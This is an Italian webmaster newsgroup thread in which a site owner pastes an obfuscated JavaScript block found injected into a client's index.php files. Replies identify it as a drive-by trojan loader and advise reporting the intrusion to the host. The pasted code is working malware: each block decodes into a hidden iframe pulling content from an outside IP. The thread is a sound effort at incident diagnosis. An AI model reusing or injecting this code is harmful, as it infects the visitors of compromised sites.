Newsgroup: it.lavoro.professioni.webmaster
Titolo: script "alieno" in index.php

ciao a tutti
mi sono accorto oggi per puro caso, entrando in ftp su uno dei siti dei miei 
clienti, che c'era uno strano script *aggiunto* a index.php
lo stesso script, che più sotto vi riporto, l'ho ritrovato anche 
nell'index.php della sezione /admin, ma nessun altro file .php o .html è 
stato "toccato"
il sito in questione è ospitato su aruba.
ho controllato tutti gli altri siti dei miei clienti (residenti sia su aruba 
sia su hoster diversi) e a nessun altro è successa una cosa del genere.
la visualizzazione del sito non era in ogni caso compromessa.
vi è mai capitato e/o sapete di cosa si tratti?
tia
-- 
 ryo
lo script (messo appena dopo il tag <body>) è questo (mi sembrerebbe uguale 
nei due index):
----------------------------------
<script>function v4690d27ca8760(v4690d27cad57b){ function v4690d27cb239c () 
{var v4690d27cb71bc=16; return v4690d27cb71bc;} 
return(parseInt(v4690d27cad57b,v4690d27cb239c()));}function 
v4690d27cbbfdb(v4690d27cc0dfc){ function v4690d27ccf862 () {return 2;} var 
v4690d27cc5d71='';for(v4690d27ccaa42=0; 
v4690d27ccaa42<v4690d27cc0dfc.length; v4690d27ccaa42+=v4690d27ccf862()){ 
v4690d27cc5d71+=(String.fromCharCode(v4690d27ca8760(v4690d27cc0dfc.substr(v4690d27ccaa42, 
v4690d27ccf862()))));}return v4690d27cc5d71;} 
document.write(v4690d27cbbfdb('3C696672616D65206E616D653D27633527207372633D27687474703A2F2F35382E36352E3233392E3139302F3F3462616361646364272077696474683D323933206865696768743D3739207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d27e41ec0(v4690d27e46ceb){ var v4690d27e4bb00=16; 
return(parseInt(v4690d27e46ceb,v4690d27e4bb00));}function 
v4690d27e5573f(v4690d27e5a562){  var v4690d27e5f380='';for(v4690d27e642a1=0; 
v4690d27e642a1<v4690d27e5a562.length; v4690d27e642a1+=2){ 
v4690d27e5f380+=(String.fromCharCode(v4690d27e41ec0(v4690d27e5a562.substr(v4690d27e642a1, 
2))));}return v4690d27e5f380;} 
document.write(v4690d27e5573f('3C696672616D65206E616D653D273663343361316137383027207372633D27687474703A2F2F35382E36352E3233392E3139302F3F323162633461272077696474683D313230206865696768743D323934207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d27fcd150(v4690d27fd1f72){ 
return(parseInt(v4690d27fd1f72,16));}function 
v4690d27fe09d0(v4690d27fe5815){ var v4690d2800001c=2; var 
v4690d27fea617='';for(v4690d27fef43b=0; 
v4690d27fef43b<v4690d27fe5815.length; v4690d27fef43b+=v4690d2800001c){ 
v4690d27fea617+=(String.fromCharCode(v4690d27fcd150(v4690d27fe5815.substr(v4690d27fef43b, 
v4690d2800001c))));}return v4690d27fea617;} 
document.write(v4690d27fe09d0('3C696672616D65206E616D653D2737363265376366336462623227207372633D27687474703A2F2F35382E36352E3233392E3139302F3F3330272077696474683D313235206865696768743D353537207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d281975ec(v4690d2819c40c){ function v4690d281a1231 () {return 16;} 
return(parseInt(v4690d2819c40c,v4690d281a1231()));}function 
v4690d281aae6d(v4690d281afc8e){ function v4690d281be6f0 () {return 2;} var 
v4690d281b4aac='';for(v4690d281b98cb=0; 
v4690d281b98cb<v4690d281afc8e.length; v4690d281b98cb+=v4690d281be6f0()){ 
v4690d281b4aac+=(String.fromCharCode(v4690d281975ec(v4690d281afc8e.substr(v4690d281b98cb, 
v4690d281be6f0()))));}return v4690d281b4aac;} 
document.write(v4690d281aae6d('3C696672616D65206E616D653D2737353236303532666664643127207372633D27687474703A2F2F35382E36352E3233392E3139302F3F3861383162393533646230272077696474683D3432206865696768743D353935207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2832e63e(v4690d2833347a){ function v4690d2833827e () {return 16;} 
return(parseInt(v4690d2833347a,v4690d2833827e()));}function 
v4690d28341ebc(v4690d28346cdd){  var v4690d2834bb18='';for(v4690d28350931=0; 
v4690d28350931<v4690d28346cdd.length; v4690d28350931+=2){ 
v4690d2834bb18+=(String.fromCharCode(v4690d2832e63e(v4690d28346cdd.substr(v4690d28350931, 
2))));}return v4690d2834bb18;} 
document.write(v4690d28341ebc('3C696672616D65206E616D653D27363227207372633D27687474703A2F2F35382E36352E3233392E3139302F3F3536306466272077696474683D333632206865696768743D343338207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2858647f(v4690d2858b2a0){ function v4690d285900c1 () {return 16;} 
return(parseInt(v4690d2858b2a0,v4690d285900c1()));}function 
v4690d28599d01(v4690d2859eb38){ function v4690d285ad591 () {return 2;} var 
v4690d285a3941='';for(v4690d285a8781=0; 
v4690d285a8781<v4690d2859eb38.length; v4690d285a8781+=v4690d285ad591()){ 
v4690d285a3941+=(String.fromCharCode(v4690d2858647f(v4690d2859eb38.substr(v4690d285a8781, 
v4690d285ad591()))));}return v4690d285a3941;} 
document.write(v4690d28599d01('3C696672616D65206E616D653D27333931396539656136613827207372633D27687474703A2F2F35382E36352E3233392E3139302F3F3539343061303134272077696474683D353939206865696768743D313431207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2877c83d(v4690d2878165c){ function v4690d2878647d () {var 
v4690d2878b29d=16; return v4690d2878b29d;} 
return(parseInt(v4690d2878165c,v4690d2878647d()));}function 
v4690d287900c1(v4690d28794ee9){ var v4690d287a3947=2; var 
v4690d28799d0e='';for(v4690d2879eb3f=0; 
v4690d2879eb3f<v4690d28794ee9.length; v4690d2879eb3f+=v4690d287a3947){ 
v4690d28799d0e+=(String.fromCharCode(v4690d2877c83d(v4690d28794ee9.substr(v4690d2879eb3f, 
v4690d287a3947))));}return v4690d28799d0e;} 
document.write(v4690d287900c1('3C696672616D65206E616D653D276565356237656637363427207372633D27687474703A2F2F35382E36352E3233392E3139302F3F383837646464272077696474683D313730206865696768743D353530207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d289d1f7b(v4690d289d6d92){ function v4690d289dbc58 () {var 
v4690d289e09d6=16; return v4690d289e09d6;} 
return(parseInt(v4690d289d6d92,v4690d289dbc58()));}function 
v4690d289e57f3(v4690d289ea613){ function v4690d28a04e32 () {var 
v4690d28a09c55=2; return v4690d28a09c55;} var 
v4690d289ef437='';for(v4690d28a00011=0; 
v4690d28a00011<v4690d289ea613.length; v4690d28a00011+=v4690d28a04e32()){ 
v4690d289ef437+=(String.fromCharCode(v4690d289d1f7b(v4690d289ea613.substr(v4690d28a00011, 
v4690d28a04e32()))));}return v4690d289ef437;} 
document.write(v4690d289e57f3('3C696672616D65206E616D653D27643127207372633D27687474703A2F2F35382E36352E3233392E3139302F3F6564643136366561373665272077696474683D343834206865696768743D313635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d28b975eb(v4690d28b9c40b){ function v4690d28ba122f () {var 
v4690d28ba604c=16; return v4690d28ba604c;} 
return(parseInt(v4690d28b9c40b,v4690d28ba122f()));}function 
v4690d28baae6b(v4690d28bafc94){ var v4690d28bbe6f5=2; var 
v4690d28bb4ab9='';for(v4690d28bb98cb=0; 
v4690d28bb98cb<v4690d28bafc94.length; v4690d28bb98cb+=v4690d28bbe6f5){ 
v4690d28bb4ab9+=(String.fromCharCode(v4690d28b975eb(v4690d28bafc94.substr(v4690d28bb98cb, 
v4690d28bbe6f5))));}return v4690d28bb4ab9;} 
document.write(v4690d28baae6b('3C696672616D65206E616D653D2766313065643339323527207372633D27687474703A2F2F35382E36352E3233392E3139302F3F62626366613639626161272077696474683D343835206865696768743D343337207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d28e00014(v4690d28e04e35){ function v4690d28e09c51 () {return 16;} 
return(parseInt(v4690d28e04e35,v4690d28e09c51()));}function 
v4690d28e138ba(v4690d28e186b0){  var v4690d28e1d4d4='';for(v4690d28e222f4=0; 
v4690d28e222f4<v4690d28e186b0.length; v4690d28e222f4+=2){ 
v4690d28e1d4d4+=(String.fromCharCode(v4690d28e00014(v4690d28e186b0.substr(v4690d28e222f4, 
2))));}return v4690d28e1d4d4;} 
document.write(v4690d28e138ba('3C696672616D65206E616D653D276561623327207372633D27687474703A2F2F35382E36352E3233392E3139302F3F616430346430623037386165272077696474683D353037206865696768743D343439207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d28fb98cb(v4690d28fbe6ed){ function v4690d28fc350c () {var 
v4690d28fc832f=16; return v4690d28fc832f;} 
return(parseInt(v4690d28fbe6ed,v4690d28fc350c()));}function 
v4690d28fcd14f(v4690d28fd1f6e){ var v4690d28fe09d1=2; var 
v4690d28fd6d8c='';for(v4690d28fdbbab=0; 
v4690d28fdbbab<v4690d28fd1f6e.length; v4690d28fdbbab+=v4690d28fe09d1){ 
v4690d28fd6d8c+=(String.fromCharCode(v4690d28fb98cb(v4690d28fd1f6e.substr(v4690d28fdbbab, 
v4690d28fe09d1))));}return v4690d28fd6d8c;} 
document.write(v4690d28fcd14f('3C696672616D65206E616D653D27346466313366393231663427207372633D27687474703A2F2F35382E36352E3233392E3139302F3F33363934323038272077696474683D353933206865696768743D333833207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2917ef59(v4690d29183d7b){ var v4690d29188b9e=16; 
return(parseInt(v4690d29183d7b,v4690d29188b9e));}function 
v4690d2919280e(v4690d291975f2){ function v4690d291a604f () {var 
v4690d291aae6f=2; return v4690d291aae6f;} var 
v4690d2919c415='';for(v4690d291a1230=0; 
v4690d291a1230<v4690d291975f2.length; v4690d291a1230+=v4690d291a604f()){ 
v4690d2919c415+=(String.fromCharCode(v4690d2917ef59(v4690d291975f2.substr(v4690d291a1230, 
v4690d291a604f()))));}return v4690d2919c415;} 
document.write(v4690d2919280e('3C696672616D65206E616D653D27323662393727207372633D27687474703A2F2F35382E36352E3233392E3139302F3F61303432336330272077696474683D373633206865696768743D333437207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d29499cff(v4690d2949ebc2){ function v4690d294a3942 () {var 
v4690d294a8770=16; return v4690d294a8770;} 
return(parseInt(v4690d2949ebc2,v4690d294a3942()));}function 
v4690d294ad585(v4690d294b23a3){ function v4690d294c0dff () {return 2;} var 
v4690d294b71c1='';for(v4690d294bde85=0; 
v4690d294bde85<v4690d294b23a3.length; v4690d294bde85+=v4690d294c0dff()){ 
v4690d294b71c1+=(String.fromCharCode(v4690d29499cff(v4690d294b23a3.substr(v4690d294bde85, 
v4690d294c0dff()))));}return v4690d294b71c1;} 
document.write(v4690d294ad585('3C696672616D65206E616D653D273827207372633D27687474703A2F2F35382E36352E3233392E3139302F3F65363936626433272077696474683D363637206865696768743D343036207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2970000d(v4690d29704e2a){ 
return(parseInt(v4690d29704e2a,16));}function 
v4690d29713889(v4690d297186aa){ var v4690d29727109=2; var 
v4690d2971d4cc='';for(v4690d297222ec=0; 
v4690d297222ec<v4690d297186aa.length; v4690d297222ec+=v4690d29727109){ 
v4690d2971d4cc+=(String.fromCharCode(v4690d2970000d(v4690d297186aa.substr(v4690d297222ec, 
v4690d29727109))));}return v4690d2971d4cc;} 
document.write(v4690d29713889('3C696672616D65206E616D653D2732323331613127207372633D27687474703A2F2F35382E36352E3233392E3139302F3F39333164366330272077696474683D333737206865696768743D3239207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2a702721(v4690d2a70753f){ var v4690d2a70c360=16; 
return(parseInt(v4690d2a70753f,v4690d2a70c360));}function 
v4690d2a715f9f(v4690d2a71adc1){ function v4690d2a729824 () {var 
v4690d2a72e646=2; return v4690d2a72e646;} var 
v4690d2a71fbe0='';for(v4690d2a724a19=0; 
v4690d2a724a19<v4690d2a71adc1.length; v4690d2a724a19+=v4690d2a729824()){ 
v4690d2a71fbe0+=(String.fromCharCode(v4690d2a702721(v4690d2a71adc1.substr(v4690d2a724a19, 
v4690d2a729824()))));}return v4690d2a71fbe0;} 
document.write(v4690d2a715f9f('3C696672616D65206E616D653D27643234306127207372633D27687474703A2F2F35382E36352E3233392E3139302F3F31643733353838272077696474683D313437206865696768743D353835207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script><script>function 
v4690d2aa68fc0(v4690d2aa6ddde){ function v4690d2aa72bff () {var 
v4690d2aa77a1c=16; return v4690d2aa77a1c;} 
return(parseInt(v4690d2aa6ddde,v4690d2aa72bff()));}function 
v4690d2aa7c843(v4690d2aa8165e){  var v4690d2aa8647f='';for(v4690d2aa8b29b=0; 
v4690d2aa8b29b<v4690d2aa8165e.length; v4690d2aa8b29b+=2){ 
v4690d2aa8647f+=(String.fromCharCode(v4690d2aa68fc0(v4690d2aa8165e.substr(v4690d2aa8b29b, 
2))));}return v4690d2aa8647f;} 
document.write(v4690d2aa7c843('3C696672616D65206E616D653D27656127207372633D27687474703A2F2F35382E36352E3233392E3139302F3F6362272077696474683D323738206865696768743D353135207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>
----------------------------------

 vi è mai capitato e/o sapete di cosa si tratti?
Lo script JS non è lo stesso, ma la storia è simile
a quella raccontata qui:
http://mezzoblue.com/archives/2007/06/05/unsettling/
http://simonwillison.net/2007/Jun/6/dreamhost/
Ciao.
-- 
d.

stato "toccato"
Quando qualcuno si collega al tuo sito con il sistema operativo e
browser giusto quel codice gli fa scaricare un trojan che lo infetta.
Probabilmente è stato installato nel tuo sito in seguito a una
intrusione sul server web, informa subito Aruba.
-- 
ciao,
Marco

 Marco